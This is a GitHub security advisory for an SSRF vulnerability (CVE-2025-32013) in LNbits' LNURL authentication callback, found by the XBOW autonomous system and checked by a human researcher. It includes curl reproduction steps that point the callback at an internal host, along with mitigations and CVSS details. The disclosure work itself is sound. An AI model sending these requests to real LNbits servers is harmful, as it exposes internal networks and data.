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LNbits Lightning Network Payment System Vulnerable to Server-Side Request Forgery via LNURL Authentication Callback

Critical severity GitHub Reviewed Published Apr 6, 2025 in lnbits/lnbits • Updated Apr 10, 2025

Package

pip lnbits (pip)

Affected versions

<= 0.12.12

Patched versions

None

Description

Server-Side Request Forgery via LNURL Authentication Callback in LNbits Lightning Network Payment System

Disclaimer

This vulnerability was detected using XBOW, a system that autonomously finds and exploits potential security vulnerabilities. The finding has been thoroughly reviewed and validated by a security researcher before submission. While XBOW is intended to work autonomously, during its development human experts ensure the accuracy and relevance of its reports.

Description

A Server-Side Request Forgery (SSRF) vulnerability has been discovered in LNbits' LNURL authentication handling functionality. The vulnerability exists in the LNURL authentication callback process where the application makes HTTP requests to user-provided callback URLs and follows redirects without proper validation.

When processing LNURL authentication requests, the application accepts a callback URL parameter and makes an HTTP request to that URL using the httpx library with redirect following enabled. The application doesn't properly validate the callback URL, allowing attackers to specify internal network addresses and access internal resources.

This vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal network locations, potentially exposing sensitive information or accessing internal services that should not be accessible from the internet.

Steps to Reproduce

  1. Create a new wallet account to get an admin key:
curl -X POST http://target:5000/api/v1/account -d '{"name":"test"}'
  1. Use the obtained admin key to send a crafted LNURL authentication request:
curl -X POST http://target:5000/api/v1/lnurlauth \
  -H "X-Api-Key: <admin_key>" \
  -H "Content-Type: application/json" \
  -d '{
    "callback": "http://target-internal-server/?tag=login&k1=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
    "k1": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
    "sig": "0"*128,
    "key": "0"*64
  }'

The application will make an HTTP request to the internal URL specified in the callback parameter and return its contents in the response, allowing access to internal resources that should not be accessible.

Mitigations

  • Implement strict URL validation for callback URLs, ensuring they only point to allowed domains and networks.
  • Use a whitelist of allowed domains and IP ranges for callback URLs.
  • Disable redirect following in HTTP requests or implement strict redirect validation.
  • Consider using a proxy service that restricts access to internal networks when making external HTTP requests.

Impact

This vulnerability allows authenticated attackers to access internal network resources that should not be accessible from the internet. While authentication is required to exploit this vulnerability, any user who can create a wallet gets the necessary access level. The vulnerability can be used to read internal files, access internal services, and potentially expose sensitive information from the internal network.

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 15 days after the fix was made available. Regardless of this disclosure process, XBOW may privately notify other affected parties as soon as we become aware of this vulnerability.

References

@motorina0 motorina0 published to lnbits/lnbits Apr 6, 2025
Published by the National Vulnerability Database Apr 6, 2025
Published to the GitHub Advisory Database Apr 7, 2025
Reviewed Apr 7, 2025
Last updated Apr 10, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

CVE ID

CVE-2025-32013

GHSA ID

GHSA-qp8j-p87f-c8cc

Source code

Credits

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